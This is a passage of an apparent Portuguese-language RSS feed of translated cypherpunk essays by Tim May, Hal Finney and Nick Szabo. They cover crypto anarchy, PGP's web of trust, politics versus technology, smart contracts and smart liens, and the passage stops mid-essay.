&lt;p>&amp;ldquo;Pague conforme você vai&amp;rdquo; é a maneira natural de lidar com a maioria das transações econômicas. Há exceções, é claro, como seguro, contratos para desempenho futuro, etc., mas a maior parte do dinheiro é usada para mediar as trocas imediatas. Para um exemplo oportuno, por que seus inimigos não podem “bombardear o lixo eletrônico” com um volume enorme de lixo eletrônico? O lixo eletrônico, como nós o chamamos, é em volumes relativamente pequenos (no máximo uma caixa de correio cheia, exceto talvez para celebridades) por causa de uma coisa simples: alguém tem que pagar pela entrega! Não há possibilidade de um modo “livre” de “fazer 19 cópias dessa tonelada de lixo e enviá-las para seus inimigos”. Isso existe com o software - o bombardeio de Remailer por Detweiler, o Morris Worm de 1988, o “Dave Rhodes”. ”Correntes de caracteres - é devido a algumas falhas no modelo Net atual:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>os custos da transmissão de mensagens não são diretamente suportados pelos remetentes (estimulam o uso excessivo de alguns recursos escassos, a la a “tragédia dos comuns”).&lt;/p>
&lt;/li>
&lt;li>
&lt;p>os sites e os remailers responderão às “instruções” para enviar a mensagem, para fazer cópias dela, etc.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>Assim, considero imperativo que desenvolvamos o mais rapidamente possível o seguinte:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>sistemas de pagamento para transmissão de mensagens (eu defendo “selos digitais” como primeira e comparativamente fácil aplicação de dinheiro digital, outros também têm, e Ray Cromwell acaba de emitir sua própria proposta &amp;hellip; é hora de começarmos E para que você não pense que eu estou pedindo por altruísmo aqui, acho que algumas fortunas serão feitas nessa área.)&lt;/p>
&lt;/li>
&lt;li>
&lt;p>protocolos anônimos ou obscuros de identidade, ao modo Chaum.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>um afastamento geral dos sistemas orientados aos “comuns”, que geram as noções de “acesso justo” e coisas do tipo. Se o “problema” é que as pessoas pobres não podem - supostamente - pagar uma conexão de 17 dólares por mês (o que a Netcom cobra em cerca de 25 cidades), então minha solução seria simplesmente &lt;em>subsidiar&lt;/em> sua conta. (Eu não estou defendendo isso, nem acho prudente subsidiar as contas de telefone, Net ou jantar de ninguém, mas é melhor do que &amp;ldquo;nacionalizar&amp;rdquo; as redes e, assim, criar mais confusão e menos eficiência para todos.)&lt;/p>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>A conectividade será alterada dramaticamente. A “distância” no ciberespaço já não está correlacionada com a distância física. (Não surpreendentemente, como isso ficou aparente com o telefone. Mas uma maneira útil de olhar para o ciberespaço, como sendo um espaço de conectividades e distâncias radicalmente alteradas.)&lt;/p>
&lt;/li>
&lt;li>
&lt;p>O acesso local ao serviço, o telefone ou as linhas de cabo que chegam à casa ou ao escritório, é um potencial gargalo. Mas uma vez que uma conexão é feita com um nó local onde existem múltiplos concorrentes (ou seja, uma vez além do monopólio concedido pelo governo local), a possibilidade de “censura” diminui rapidamente, por várias razões.&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Assim, empurre as linhas de &amp;ldquo;acesso criptografado&amp;rdquo; de um nó terminal (casa, escritório) para um ponto com conectividade ilimitada.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Esta é a situação que agora tenho com minha linha PacBell e Netcom: PacBell não se importa com o que eu uso a linha local, e uma vez fora, eu posso discar um Netcom sem-censor em vez de um AOL ou Prodigy Big Brotherizado.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>O ciberespaço é infinitamente colonizável. Não há limites para o crescimento. (Suposição: a realização do ciberespaço está em várias máquinas e redes, que não são livres, nem infinitas. Mas o “sem limites” vem da facilidade com que aqueles próximos a um “limite” podem simplesmente ultrapassar esse limite com mais recursos de CPU. redes, etc.).&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Criptografia significa que o acesso a “regiões” pode ser controlado por “proprietários”:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>“Minha casa, minhas regras” aplicadas localmente, sem autoridade do governo central&lt;/p>
&lt;/li>
&lt;li>
&lt;p>segurança essencialmente inquebrável (no sentido da criptografia)&lt;/p>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>Aliás, a forte criptografia é o “material de construção” do ciberespaço… a argamassa, os tijolos, as vigas de suporte, as paredes. Nada mais pode fornecer a &amp;ldquo;permanência&amp;rdquo; &amp;hellip; sem criptografia, as paredes estão sujeitas ao colapso no primeiro toque por uma pessoa ou agência maliciosa. Com a criptografia, nem mesmo uma bomba H de 100 megaton pode romper as paredes.&lt;/p>
&lt;p>(Se você acha que estou exagerando, faça alguns cálculos sobre a energia para quebrar um módulo com 1000 dígitos decimais).&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Nenhuma “lei de zoneamento” será necessária, ou possível, no ciberespaço. (&amp;ldquo;Acidente de neve&amp;rdquo;, de Neil Stephenson, enquanto uma leitura maravilhosa e instigante, deu errado aqui: o ciberespaço é muito extensível e controlável localmente.)&lt;/p>
&lt;/li>
&lt;li>
&lt;p>A localização física dos locais do ciberespaço será cada vez mais difícil de definir. Um vasto &amp;ldquo;labirinto de salas e corredores&amp;rdquo; pode ser fisicamente instanciado em um computador na Malásia, enquanto um &amp;ldquo;salão de jogos virtual&amp;rdquo; está sendo executado por meio de recortes criptográficos (remailers) do quarto de alguém em Provo, Utah..&lt;/p>
&lt;/li>
&lt;li>
&lt;p>A conversa sobre as “regras de acesso” é, portanto, insignificante, a menos que os governos reprimam redes, criptografia e sistemas privados de uma forma muito além de qualquer coisa que esteja sendo falada agora..&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Essa é a “cripto anarquia” sobre a qual escrevo desde 1988. O ciberespaço vai se revelar uma fronteira muito mais vasta do que &lt;em>qualquer coisa&lt;/em> que vimos até agora. Com “apenas” 10 ^ 70 partículas em todo o universo, há muito mais “espaço” (espaço de endereço, espaço-chave, etc.) até mesmo em um conjunto relativamente pequeno de dígitos. O ciberespaço é um espaço matemático e seu espaço é verdadeiramente ilimitado.&lt;/p>
&lt;p>E nós estaremos movendo nosso comércio, nosso entretenimento e grande parte de nossas vidas no ciberespaço muito mais rápido do que estaremos nos movendo lentamente para a órbita baixa da Terra e além. Na verdade, considero que já estou na metade do caminho. Em alguns anos, com a conectividade de um toque da Mosaic, com uma infinidade de opções de rede, com remailers seguros e ferramentas similares para anonimizar minhas transações, estar tão longe aí vai voltar atrás.&lt;/p>
&lt;p>Isso é suficiente para tais observações por enquanto. Acho que faz sentido ter uma visão um pouco mais abrangente das tendências inevitáveis, para ver para onde estamos indo, para ver quais problemas precisam de mais trabalho.&lt;/p>
&lt;p>Espero que alguns de vocês concordem comigo.&lt;/p>
&lt;p>&amp;ndash;Tim May&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://nakamotoinstitute.org/cyberspace-crypto-anarchy-and-pushing-limits/" target="_blank" rel="noopener noreferrer">Cyberspace, Crypto Anarchy, and Pushing Limits - Timothy C. May&lt;/a>
&lt;/p></content:encoded></item><item><title>Equívocos de confiança no PGP Web</title><link>https://cypherpunks.com.br/documentos/equivocos-de-confianca-no-pgp-web/</link><pubDate>Wed, 30 Mar 1994 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/equivocos-de-confianca-no-pgp-web/</guid><description>Um dos principais conceitos amplamente usados ​​para descrever o PGP é a "rede de confiança". Isso traz à mente uma rede de conexões entre pessoas que conhecem e se comunicam umas com as outras. Duas pessoas que querem se comunicar podem fazê-lo com segurança se houver um caminho de conexões na forma de chaves assinadas que as unam.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Steffan Diorgy
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h3 id="hal-finney">Hal Finney&lt;/h3>
&lt;h4 id="30-de-março-de-1994">30 de Março de 1994&lt;/h4>
&lt;p>&lt;/p>
&lt;p>Um dos principais conceitos amplamente usados ​​para descrever o PGP é a &amp;ldquo;rede de confiança&amp;rdquo;. Isso traz à mente uma rede de conexões entre pessoas que conhecem e se comunicam umas com as outras. Duas pessoas que querem se comunicar podem fazê-lo com segurança se houver um caminho de conexões na forma de chaves assinadas que as unam.&lt;/p>
&lt;p>Mas isso não está certo. O fato fundamental sobre as assinaturas de chaves do PGP, que muitas vezes é mal entendido, é o seguinte:&lt;/p>
&lt;p>Você só pode se comunicar com segurança com alguém cuja chave é assinada por uma pessoa que você conhece, pessoalmente ou por reputação.&lt;/p>
&lt;p>Em outras palavras, se eu quiser me comunicar com &lt;a href="mailto:joe@abc.com">joe@abc.com&lt;/a>
, só posso fazê-lo se um dos signatários de sua chave for uma pessoa que conheço. Se não, não tenho como julgar a validade de sua chave.&lt;/p>
&lt;p>Isso desmente interpretações simples da &amp;ldquo;teia da confiança&amp;rdquo;. Eu posso ter assinado a chave de A, A assinou B, B assinou C, C assinou D e D assinou Joe, mas isso não tem valor a menos que eu saiba D. Só então posso confiar na chave de Joe.&lt;/p>
&lt;p>Isso significa que, na imagem &amp;ldquo;web&amp;rdquo;, só posso me comunicar com segurança com pessoas que estão no máximo dois saltos na rede de conexões. Eu posso me comunicar com as pessoas que conheço e posso me comunicar com as pessoas que elas conhecem, e é isso.&lt;/p>
&lt;p>Isso é lamentável, porque o modelo da web simples se liga a alguma pesquisa famosa que sugere que quaisquer duas pessoas escolhidas aleatoriamente estão a apenas meia dúzia de passos de distância na rede de conexões quem-sabe-quem. (Este resultado de onde vem título do filme &amp;ldquo;Six Degrees of Separation&amp;rdquo;). Se você tivesse um sistema que realmente suportasse comunicações via tal modelo web, ele realmente teria a esperança de deixar duas pessoas se comunicarem que não tivessem um cadeia muito longa entre eles. Mas o PGP, com um comprimento máximo de cadeia de dois, não permitirá isso.&lt;/p>
&lt;p>O que teria que ser adicionado para permitir que um verdadeiro modelo de web de confiança fosse usado em um programa como o PGP? Basicamente, o que é necessário é uma maneira de julgar a confiabilidade das assinaturas de pessoas que você não conhece. Isso seria mais plausivelmente fornecido pelas pessoas que assinaram as chaves. Por exemplo, se houvesse outro tipo de assinatura de chave que não apenas atestasse a identidade da pessoa, mas também sua confiabilidade e cuidado ao assinar chaves, uma cadeia de assinaturas poderia servir de base para uma verdadeira teia de confiança. Obviamente, tais assinaturas não poderiam ser distribuídas com a mesma facilidade com que temos agora, onde uma olhada na carteira de motorista de um estranho é sempre o que recebemos, mas elas podem ser dadas a amigos próximos e àqueles que conhecemos e confiamos.&lt;/p>
&lt;p>Sistemas mais elaborados podem incluir classificações numéricas de confiabilidade que ajudariam a estimar a força de qualquer caminho dado. O ponto principal é que algumas informações desse tipo seriam necessárias para permitir a comunicação com pessoas distantes na rede de conexões.&lt;/p>
&lt;p>Sem isso, acho que continuaremos a ter problemas com o PGP não sendo possível validar chaves de pessoas com as quais queremos nos comunicar. As pessoas coletarão enormes listas de assinaturas, na esperança de que quem quiser se comunicar com elas conheça uma dessas pessoas. Os validadores de chave centralizada aparecerão (como no caso do serviço SLED que está sendo iniciado agora, que assinará uma chave com base em uma verificação assinada com seu nome). O resultado pode ser uma escolha entre usar uma chave não assinada ou usar uma assinada por alguma burocracia sem rosto, o que não é melhor do que a concepção original do PEM.&lt;/p>
&lt;p>(As pessoas podem ficar confusas com este ensaio porque achavam que o PGP já funcionava dessa maneira. O PGP tem um modelo de acompanhamento, mas isso é apenas para acompanhar assinaturas. No exemplo acima, onde eu queria falar com Joe e lá foi uma cadeia para ele através de A, B, C e D, temos que primeiro supor que eu conheço e confio em todos os A, B, C e D. Dado que, o que o PGP pode fazer é determinar se eu tenho chaves para todas essas pessoas.Ele notará que A assinou a chave de B, por isso é válido.Eu sei B e disse PGP ele era confiável, e ele assinou a chave de C, portanto, que um é válido.Além disso, eu sei C e eu conheço D para que o PGP possa seguir a cadeia através deles.Finalmente chegamos a Joe, a quem eu não sei, mas como sei que D e PGP seguiram a web para determinar que a chave de D é válida, o PGP pode determinar que a chave de Joe É válido, mas, novamente, isso foi apenas porque eu conhecia D e todos os demais da cadeia.O ponto principal é que eu só posso me comunicar com pessoas que conheçam alguém que conheço. )&lt;/p>
&lt;p>Hal Finney&lt;br>
&lt;em>hal@rain.org&lt;/em>&lt;/p>
&lt;p>&lt;a href="https://web.archive.org/web/20140207101454/http://finney.org/~hal/" target="_blank" rel="noopener noreferrer">Página de Hal Finney&lt;/a>
&lt;/p>
&lt;p>Fonte&lt;a href="https://nakamotoinstitute.org/pgp-web-of-trust-misconceptions/" target="_blank" rel="noopener noreferrer">PGP Web of Trust Misconceptions - Hal Finney&lt;/a>
&lt;/p></content:encoded></item><item><title>Política vs Tecnologia</title><link>https://cypherpunks.com.br/documentos/politica-vs-tecnologia/</link><pubDate>Sun, 02 Jan 1994 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/politica-vs-tecnologia/</guid><description>Mas o governo poderia proibir um livro hoje? Claro que não, pelo menos não depois que uma pessoa digitou ou digitalizou em um computador. Ganhos tecnológicos são permanentes. A abordagem política é útil apenas como arma tática, para segurá-los até que as soluções tecnológicas estejam prontas. Se você quer mudar o mundo, não proteste. …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: OneTimePad
Revisado por: Jefferson, Matheus Bach
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="hal-finney">Hal Finney&lt;/h2>
&lt;h5 id="1994">1994&lt;/h5>
&lt;p>&lt;/p>
&lt;blockquote>
&lt;p>&lt;code>De Mike Ingle &amp;lt;MIKEINGLE@delphi.com&amp;gt;&lt;/code>&lt;/p>
&lt;p>&lt;em>Mas o governo poderia proibir um livro hoje? Claro que não, pelo menos não depois que uma pessoa digitou ou digitalizou em um computador. Ganhos tecnológicos são permanentes. A abordagem política é útil apenas como arma tática, para segurá-los até que as soluções tecnológicas estejam prontas. Se você quer mudar o mundo, não proteste. Escreva o código!&lt;/em>&lt;/p>
&lt;/blockquote>
&lt;p>Esta posição parece estar se tornando rapidamente o dogma cypherpunks, mas eu não concordo. A ideia de que podemos simplesmente desaparecer no ciberespaço e ignorar as desagradáveis ​​realidades políticas é irreal no meu ponto de vista.&lt;/p>
&lt;p>As pessoas esqueceram a proposta do Clipper, para seguir em frente e tornar ilegal a criptografia não-Clipper? Na medida em que esta proposta foi ou será derrotada, isso acontecerá por meio de manobras políticas e não da tecnologia.&lt;/p>
&lt;p>As pessoas esqueceram a investigação de exportação do PGP? Phil Zimmermann não esqueceu. Ele e outros estão enfrentando a perspectiva de dez anos de prisão se forem considerados culpados de exportação ilegal. Se alguém tiver alguma sugestão sobre como escapar da prisão para o ciberespaço, eu gostaria de ouvir a respeito.&lt;/p>
&lt;p>O &lt;em>SecureDrive&lt;/em> de Mike é um ótimo programa para proteger a privacidade. Mas se quisermos manter as chaves em segredo das investigações com motivações políticas, temos de nos basear na Quinta Emenda, muito política e não tecnológica (uma alteração que Mike Godwin da EFF e outros alegam não proteger realmente a divulgação de chaves criptográficas). Mais uma vez, precisamos ganhar vitórias políticas, não tecnológicas, se quisermos proteger nossa privacidade.&lt;/p>
&lt;p>Eu até questiono o ponto de Mike sobre a incapacidade do governo de proibir livros. Veja a dificuldade em manter o PGP disponível neste país, mesmo sendo legal. Não só os sites FTP são constantemente fechados, como os servidores principais também. E esse software é legal.&lt;/p>
&lt;p>Claro, este software está atualmente disponível no exterior, mas isso ocorre porque as únicas limitações legais do PGP são os problemas de patentes dos EUA. Imagine o quão pior seria se a criptografia não-EES (&lt;em>Escrowed Encryption Standard&lt;/em>) fosse tornada ilegal em uma ampla gama de países, com regras rigorosas de acesso à rede para países que promovem um software ilegal? Aqui, novamente, esse tipo de decisão será tomada no âmbito político.&lt;/p>
&lt;p>Fundamentalmente, acredito que teremos o tipo de sociedade que a maioria das pessoas quer. Se queremos liberdade e privacidade, devemos persuadir os outros de que elas valem a pena. Não há atalhos. Retirar-se para a tecnologia é como se esconder embaixo dos cobertores. É uma sensação boa por um tempo, até que a realidade nos alcance. A próxima proposta de Clipper ou da Telefonia Digital fornecerá um despertar rude.&lt;/p>
&lt;p>&lt;em>Hal Finney&lt;/em> &lt;em>hal@rain.org&lt;/em>&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://nakamotoinstitute.org/politics-vs-technology/" target="_blank" rel="noopener noreferrer">Politics vs Technology - Hal Finney&lt;/a>
&lt;/p></content:encoded></item><item><title>Contratos Inteligentes</title><link>https://cypherpunks.com.br/documentos/contratos-inteligentes/</link><pubDate>Sat, 01 Jan 1994 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/contratos-inteligentes/</guid><description>Um contrato inteligente é um protocolo de transação computadorizado que executa os termos de um contrato. Os objetivos gerais do projeto de contrato inteligente são satisfazer as condições contratuais comuns (como termos de pagamento, ônus, confidencialidade e até mesmo cumprimento), minimizar exceções maliciosas e acidentais e minimizar …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Vinicius Yaunner
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;h1 id="contratos-inteligentes">Contratos Inteligentes&lt;/h1>
&lt;h2 id="permissão-para-redistribuir-sem-alteração-aqui-concedida">Copyright (c) 1994 by Nick Szabo
permissão para redistribuir sem alteração aqui concedida.&lt;/h2>
&lt;p>&lt;/p>
&lt;p>Um contrato inteligente é um protocolo de transação computadorizado que executa os termos de um contrato. Os objetivos gerais do projeto de contrato inteligente são satisfazer as condições contratuais comuns (como termos de pagamento, ônus, confidencialidade e até mesmo cumprimento), minimizar exceções maliciosas e acidentais e minimizar a necessidade de intermediários confiáveis. Objetivos econômicos relacionados incluem redução de perdas por fraude, custos de arbitragem e fiscalização e outros custos de transação [1].&lt;/p>
&lt;p>Algumas tecnologias que existem hoje podem ser consideradas como contratos inteligentes brutos, por exemplo, terminais e cartões POS, EDI e alocação agórica de largura de banda da rede pública.&lt;/p>
&lt;p>&lt;strong>&lt;a href="https://www.fon.hum.uva.nl/rob/Courses/InformationInSpeech/CDROM/Literature/LOTwinterschool2006/szabo.best.vwh.net/bearer_contracts.htmlhttps:/" target="_blank" rel="noopener noreferrer">Os protocolos de moeda digital&lt;/a>
&lt;/strong> [2,3] são bons exemplos de contratos inteligentes. Eles permitem o pagamento online ao mesmo tempo que respeitam as características desejadas do papel-moeda: imperdoabilidade, confidencialidade e divisibilidade. Quando olhamos de relance para os protocolos de dinheiro digital, considerando-os no contexto mais amplo do projeto de contrato inteligente, vemos que esses protocolos podem ser usados para implementar uma ampla variedade de títulos eletrônicos ao portador, não apenas dinheiro. Também vemos que, para implementar uma transação cliente-fornecedor completa, precisamos mais do que apenas o protocolo de moeda digital; precisamos de um protocolo que garanta que o produto será entregue caso o pagamento seja feito e vice-versa. Os sistemas comerciais atuais usam uma ampla variedade de técnicas para fazer isso, como correio certificado, troca face a face, confiança no histórico de crédito e agências de cobrança para estender crédito, etc. Contratos inteligentes têm o potencial de reduzir significativamente os custos de fraude e execução de muitas transações comerciais. Os protocolos de moeda digital usam vários dos novos e ricos blocos de construção que vêm dos campos da criptografia e da ciência da computação. A maioria desses componentes ainda não foi amplamente explorada para facilitar os arranjos contratuais, mas o potencial é vasto. Esses subprotocolos incluem acordo bizantino, criptografia simétrica e assimétrica, assinaturas digitais, assinaturas cegas, cortar e escolher, compromisso de bits, &lt;a href="../publicados/os-protocolos-de-deus.md">cálculos seguros multipartidários&lt;/a>
, &lt;a href="https://www.fon.hum.uva.nl/rob/Courses/InformationInSpeech/CDROM/Literature/LOTwinterschool2006/szabo.best.vwh.net/secret.html" target="_blank" rel="noopener noreferrer">compartilhamento de segredos&lt;/a>
, transferência alheia e computação segura multipartidária. Todos esses, exceto o primeiro, são descritos em [2,3].&lt;/p>
&lt;p>As consequências de um projeto inteligente de contrato no direito e na economia dos contratos, e na elaboração de contratos estratégicos (e vice-versa), foram pouco exploradas. Da mesma forma, suspeito que as possibilidades de redução significativa dos custos de transação na execução de alguns tipos de contratos e as oportunidades de criação de novos tipos de negócios e instituições sociais com base em contratos inteligentes são vastas, mas pouco exploradas. Os &amp;ldquo;cypherpunks&amp;rdquo; [4] exploraram o impacto político de alguns dos novos blocos de construção do protocolo. O campo de Electronic Data Interchange (EDI), no qual elementos de transações comerciais tradicionais (faturas, recibos, etc.) são trocados eletronicamente, às vezes incluindo criptografia e recursos de assinatura digital, pode ser visto como um precursor primitivo de contratos inteligentes. Na verdade, esses formulários de negócios podem fornecer bons pontos de partida e marcadores de canal para designers de contrato inteligentes.&lt;/p>
&lt;p>Uma tarefa importante dos contratos inteligentes, que tem sido amplamente negligenciada pelo EDI tradicional, é comunicar a semântica da transação às partes envolvidas. Há ampla oportunidade em contratos inteligentes para &amp;ldquo;letras miúdas inteligentes&amp;rdquo;: ações executadas pelo software ocultadas de uma das partes na transação. Por exemplo, as máquinas POS de supermercados não informam aos clientes se seus nomes estão ou não sendo vinculados a suas compras em um banco de dados. Os balconistas nem mesmo sabem, e já processaram milhares de transações assim sob seus narizes. Assim, por meio de ação oculta do software, o cliente está dando informações que ele pode considerar valiosas ou confidenciais, mas o contrato foi redigido e a transação foi desenhada, de forma a ocultar as partes importantes dessa transação do cliente.&lt;/p>
&lt;p>Para comunicar bem a semântica da transação, precisamos de boas metáforas visuais para os elementos do contrato. Isso ocultaria os detalhes do protocolo sem abrir mão do controle sobre o conhecimento e a execução dos termos do contrato. Um exemplo primitivo, mas bom, é fornecido pelo software SecureMosiac da CommerceNet. A criptografia é mostrada colocando o documento em um envelope e uma assinatura digital colocando um selo no documento ou envelope. Por outro lado, os servidores Mosaic registram conexões, e às vezes até transações, sem avisar os usuários - ações ocultas clássicas.&lt;/p>
&lt;p>Outra área que pode ser considerada em termos de contrato inteligente são os ativos sintéticos [5]. Esses novos títulos são formados pela combinação de títulos (como títulos) e derivativos (opções e futuros) em uma ampla variedade de formas. Estruturas a prazo muito complexas para pagamentos (ou seja, quais pagamentos são feitos quando, a taxa de juros, etc.) agora podem ser incorporadas a contratos padronizados e negociados com baixos custos de transação, devido à análise computadorizada dessas estruturas de prazo complexas. Os ativos sintéticos nos permitem arbitrar as diferentes estruturas de prazo desejadas por diferentes clientes e nos permitem construir contratos que imitam outros contratos, menos certos passivos. Como exemplo do último, foram construídos ativos sintéticos que imitam os retornos das ações das empresas alemãs, sem exigir o pagamento do imposto que os estrangeiros devem pagar ao governo alemão por ganhos de capital em ações alemãs. É importante notar que esses sintéticos &lt;em>não&lt;/em> conferem direitos de voto como os originais. Pode ser possível adicionar protocolos de contrato inteligentes para transferir direitos de voto para o sintético. Claro, esses protocolos podem ter que ser bastante seguros para resistir a ataques da jurisdição de terceiros, cujo custo de transação (o imposto) está sendo arbitrado pelo ativo sintético.&lt;/p>
&lt;p>Finalmente, podemos estender o conceito de contratos inteligentes à propriedade. A propriedade inteligente pode ser criada incorporando contratos inteligentes em objetos físicos. Esses protocolos incorporados dariam automaticamente o controle das chaves para operar a propriedade ao agente que possui legitimamente essa propriedade, com base nos termos do contrato. Por exemplo, um carro pode ficar inoperante a menos que o protocolo de desafio-resposta adequado seja concluído com seu proprietário de direito, evitando o roubo. Se um empréstimo fosse feito para comprar aquele carro e o proprietário deixasse de fazer os pagamentos, o contrato inteligente poderia automaticamente invocar uma garantia, que devolve o controle das chaves do carro ao banco. Essa &lt;a href="garantia-inteligente.md">garantia inteligente&lt;/a>
pode ser muito mais barata e eficaz do que um agente de cobranças (repo man). Também é necessário um protocolo para remover comprovadamente a garantia quando o empréstimo for quitado, bem como dificuldades e exceções operacionais. Por exemplo, seria rude revogar a operação do carro enquanto ele está fazendo 75 na rodovia.&lt;/p>
&lt;p>A propriedade inteligente pode estar longe, mas o dinheiro digital e os ativos sintéticos estão aqui hoje, e mecanismos de contrato mais inteligentes estão sendo projetados. Até agora, os critérios de design importantes para automatizar a execução de contratos vieram de campos díspares, como economia e criptografia, com pouca comunicação cruzada: pouca consciência da tecnologia, por um lado, e pouca consciência de seus melhores usos comerciais, por outro. A ideia dos contratos inteligentes é reconhecer que esses esforços buscam objetivos comuns, que convergem para o conceito de contratos inteligentes.&lt;/p>
&lt;p>Referências:
[1] &lt;em>The New Palgrave: Allocation, Information, and Markets&lt;/em>
[2] Bruce Schneier, &lt;em>Applied Cryptography&lt;/em> (digital cash
objectives are on pg. 123)
[3] &lt;em>Crypto&lt;/em> and &lt;em>Eurocrypt&lt;/em> conference proceedings, 1982-1994.
[4] &amp;ldquo;Crypto Rebels&amp;rdquo;, Wired #2, also cypherpunks mailing list
(mail to &lt;a href="mailto:majordomo@toad.com">majordomo@toad.com&lt;/a>
with body &amp;ldquo;subscribe cypherpunks&amp;rdquo;)
[5] Perry H. Beaumont, &lt;em>Fixed Income Synthetic Assets&lt;/em>&lt;/p>
&lt;p>&lt;a href="https://www.fon.hum.uva.nl/rob/Courses/InformationInSpeech/CDROM/Literature/LOTwinterschool2006/szabo.best.vwh.net/index.html" target="_blank" rel="noopener noreferrer">Artigos e ensaios mais recentes sobre contratos inteligentes, história e futuro dos controles comerciais e segurança.&lt;/a>
&lt;/p>
&lt;p>Fonte : &lt;a href="https://www.fon.hum.uva.nl/rob/Courses/InformationInSpeech/CDROM/Literature/LOTwinterschool2006/szabo.best.vwh.net/smart.contracts.html" target="_blank" rel="noopener noreferrer">szabo.best.vwh.net/smart.contracts.html&lt;/a>
&lt;/p></content:encoded></item><item><title>Garantia Inteligente</title><link>https://cypherpunks.com.br/documentos/garantia-inteligente/</link><pubDate>Sat, 01 Jan 1994 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/garantia-inteligente/</guid><description>Imagine que seu governo falisse, deixando você sem a jurisdição a qual você e seus vizinhos foram obrigados a tolerar para poder viver naquele território. O caos prevaleceria ou um arranjo novo e melhor poderia tomar o lugar do governo? Seria ainda possível, em particular, obrigar o pagamento de dívidas e responsabilidades penais?</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Vinicius Yaunner
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;h1 id="garantia-inteligente">Garantia Inteligente&lt;/h1>
&lt;h2 id="nick-szabo">Nick Szabo&lt;/h2>
&lt;h2 id="permissão-para-redistribuir-sem-alteração-aqui-concedida">Copyright (c) 1994 by Nick Szabo
permissão para redistribuir sem alteração aqui concedida.&lt;/h2>
&lt;p>&lt;/p>
&lt;p>Imagine que seu governo falisse, deixando você sem a jurisdição a qual você e seus vizinhos foram obrigados a tolerar para poder viver naquele território. O caos prevaleceria ou um arranjo novo e melhor poderia tomar o lugar do governo? Seria ainda possível, em particular, obrigar o pagamento de dívidas e responsabilidades penais?&lt;/p>
&lt;p>Agora imagine que seu governo ainda não esteja falido, mas certamente quebrará se não economizar. Uma forma de cortar custos é melhorar a eficiência da função do governo no que é mais vital para a economia, o cumprimento de contratos. Como podemos reduzir o ônus de tal imposição sobre os futuros contribuintes, sem colocar em risco a livre iniciativa produtiva? A garantia inteligente pode ser uma nova maneira poderosa de realizar essas tarefas.&lt;/p>
&lt;p>Primeiro, vamos introduzir a noção de uma agência de proteção (AP), que embora faça parte do setor privado voluntário, poderia assumir muitas das funções jurisdicionais do governo. As APs se diferenciariam dos governos por terem territórios sobrepostos, ou mesmo por serem não territoriais, permitindo aos clientes escolher entre uma ampla variedade de APs competitivas as APs que melhor atendem aos seus objetivos. Já gastamos mais com segurança privada do que com a polícia financiada pelo governo para nos proteger contra o crime, então não pense que as APs são improváveis ou perigosas. Sua capacidade de fazer cumprir contratos e cobrar dívidas em vez de apenas proteger contra crimes seria muito melhorada com a técnica de penhoras inteligentes, permitindo que as APs aliviassem governos endividados e seus contribuintes de tais encargos de execução.&lt;/p>
&lt;p>Como cobrar dívidas? Nenhum banco sábio emprestará a um agente (um agente pode ser uma pessoa real ou virtual, também conhecido como uma corporação) uma quantia que não esteja coberta por garantias seguras, ou deixará de fazer uma análise cautelosa de seu histórico de pagamentos integrais e dentro do prazo. Para todos os agentes, tanto o crédito quanto a responsabilidade estão intimamente relacionados e são limitados.&lt;/p>
&lt;p>A responsabilidade dos agentes é limitada pelas garantias desse agente e pela capacidade de dissuadi-lo por meio de ameaças de punição por violar contratos (ou seja, cometer crimes conforme definido no contrato com a AP). O potencial para outras ações que um agente pode tomar que causem responsabilidade, como danos a pessoas ou propriedades de terceiros, também precisa ser limitado. Mais sobre isso em breve.&lt;/p>
&lt;p>Muitos agentes, especialmente os novos participantes, podem não ter esse capital de reputação e, portanto, precisarão ser capazes de compartilhar sua propriedade com o banco por meio de garantias seguras. A garantia é, em um sentido prático, um método de compartilhar um pedaço de propriedade entre o &amp;ldquo;dono do registro&amp;rdquo; e um &amp;ldquo;titular da garantia&amp;rdquo;, em vez de a propriedade ter estritamente um proprietário. Os ônus são usados em muitas transações de crédito de grande porte, como empréstimos para compra de automóveis, hipotecas, empréstimos agrícolas, etc. Eles são impostos pela jurisdição especificada no contrato; geralmente essa fiscalização é feita pelo governo e subsidiada pelos contribuintes, em vez de paga pelas partes contratantes. (Na verdade, esse geralmente é o caso com contratos e direitos de propriedade em geral, a cláusula de execução é um subsídio governamental implícito). Uma maneira de implementar uma garantia sem governos é por meio da co-assinatura com seu AP (desde que o AP tenha uma boa classificação de crédito e o direito contratual de tomar as medidas cabíveis contra você). Outra maneira é o que chamo de &amp;ldquo;garantia inteligente&amp;rdquo;. Uma garantia inteligente é um sistema criptográfico eletrônico por meio do qual ambas as partes precisam se identificar com a propriedade para que ela funcione corretamente. Por exemplo, um penhor inteligente sobre um 